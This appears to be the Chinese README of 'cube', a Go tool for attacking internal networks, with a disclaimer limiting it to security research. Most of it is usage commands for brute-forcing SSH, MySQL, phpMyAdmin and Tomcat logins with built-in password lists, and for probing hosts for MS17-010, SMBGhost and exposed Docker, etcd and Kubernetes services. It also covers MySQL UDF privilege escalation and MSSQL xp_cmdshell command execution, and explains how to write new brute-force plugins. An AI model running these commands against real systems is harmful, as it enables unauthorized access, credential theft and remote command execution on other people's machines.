Home

Awesome

声明

特别声明:此工具仅限于安全研究,禁止使用该项目进行违法操作,否则自行承担相关责任

特点

一把梭

如果没有耐心看下面的命令选项,运行如下命令,然后打开pwn.xlsx,最终结果会以IP纬度聚合展示:

cube crack -x X -s 192.168.2.1/24 -o /tmp/pwn.xlsx
cube probe -x Y -s 192.168.2.1/24 -o /tmp/pwn.xlsx
cube probe -x K8S -s 192.168.2.1/24 -o /tmp/pwn.xlsx	//如果内网存在k8s,会扫描2379,10250,6443端口

report.png

全局参数

0x1. crack模块

使用内置词典爆破SSH

cube crack -s 192.168.1.1 -x ssh

指定用户密码爆破SSH

cube crack -l root,ubuntu -p 123,000111,root -x ssh -s 192.168.1.1
cube crack -L user.txt -P pass.txt -s 192.168.1.1/24 -x ssh
cube crack -l root -P pass.txt -s 192.168.1.1/24 -x ssh

指定端口爆破SSH

cube crack -l root -p root -s 192.168.1.1 -x ssh --port 2222

使用内置词典爆破ssh和mysql

# 爆破mysql和ssh(注意ssh和mysql之间的逗号不存在空格)
cube crack -s 192.168.1.1 -x ssh,mysql

爆破phpmyadmin(不可与其它插件组合)

cube crack -s http://192.168.2.1 -x phpmyadmin

爆破tomcat(不可与其它插件组合)

cube crack -x httpbasic -s http://127.0.0.1:7788/manager -v

加载全部爆破插件(httpbasic/jenkins/phpmyadmin/zabbix除外)

cube crack -x X -s 192.168.1.1

支持的爆破插件

0x2. probe模块

加载全部默认插件

# -x Y的时候加载全部probe插件, -x -X只会加载部分默认插件
cube probe -x X -s 192.168.2.1/24
cube probe -x Y -s 192.168.2.1/24

加载指定插件

# 加载oxid,ms17010插件
cube probe -x oxid,ms17010 -s 192.168.2.1/24

# 加载WIN集合插件,WIN集合插件下有 ping,netbios,oxid,smb,winrm,wmi,mssql
cube probe -x WIN -s 192.168.2.1/24

支持的探测插件

FUNCPORTLOAD BY X
docker2375Y
dubbo20880Y
etcd2379Y
k8s1025010250N
k8s64436443N
ms17010445Y
mssql1433N
netbios137N
oxid135Y
pingN
rmi1099Y
smb445Y
smbghost445Y
winrm5985N
wmi135N
zookeeper2181Y
jboss3873Y
prometheus9090Y

0x3. 结果输出

在使用crackprobe模块的任何插件都可以加上-o result.xlsx,用于把结果写入到excel,当excel已经存在 的时候,cube会把当前扫描的结果自动追加到文档,建议扫描结束之后的文档固定首行首列,查看更方便。

0x4. 快速开发

Crack模块

Crack模块可以抽象为一个爆破的框架,当需要爆破的插件不在Cube可用插件列表里面,可以使用go快速开发爆破插件。 crack模块下的命令参数同样适用新增的插件,比如-l/-L,-p/-P,--port。 比如新增一个自定义爆破插件,插件名是cloud,默认端口8080,爆破的默认密码使用内置的config.PASSWORDS,插件需要实现crack模块的以下接口:

	CrackName() string       //插件名称
	CrackPort() string       //插件默认端口
	CrackAuthUser() []string //插件默认爆破的用户名
	CrackAuthPass() []string //插件默认爆破的密码,可以使用config.PASSWORD
	IsMutex() bool           //是否是只能单独使用的插件,比如爆破phpmyadmin类的http插件,当然elastic是个例外
	CrackPortCheck() bool    //是否需要端口检查,TCP协议设置为true,phpmyadmin单独使用的插件和UDP协议类的跳过端口检测,设置为false
	Exec() CrackResult       //爆破插件的具体实现

crack.gif

Probe模块

同样新增Probe插件和crack类似,也可以看作信息收集的框架,新增的插件需要实现以下接口:

	ProbeName() string      //插件名称
	ProbePort() string      //插件默认端口
	PortCheck() bool        //是否需要端口检查
	ProbeExec() ProbeResult //执行插件

0x5 Sqlcmd模块

用于mysql的UDF提权(暂时支持windows x64),mssql命令执行:

#开启UDF执行命令
cube sqlcmd -x mysql -l root -p root -e "whoami"

#清除xp_cmdshell
cube sqlcmd -x mysql -l root -p root -e "clear"

#指定mssql端口
cube sqlcmd -x mssql -l sa -p sa -e "whoami" --port 4134

可用插件

report.png

参考

TODO

  -m ls  <dst path>
  -m cat <dst file>
  -m upload <src path> <dst path>
  -m exec <cmd string>
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql exec "whoami"
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql upload  <src> <dst>
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql ls  <src>
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql cat  <src> 

Stargazers over time

Stargazers over time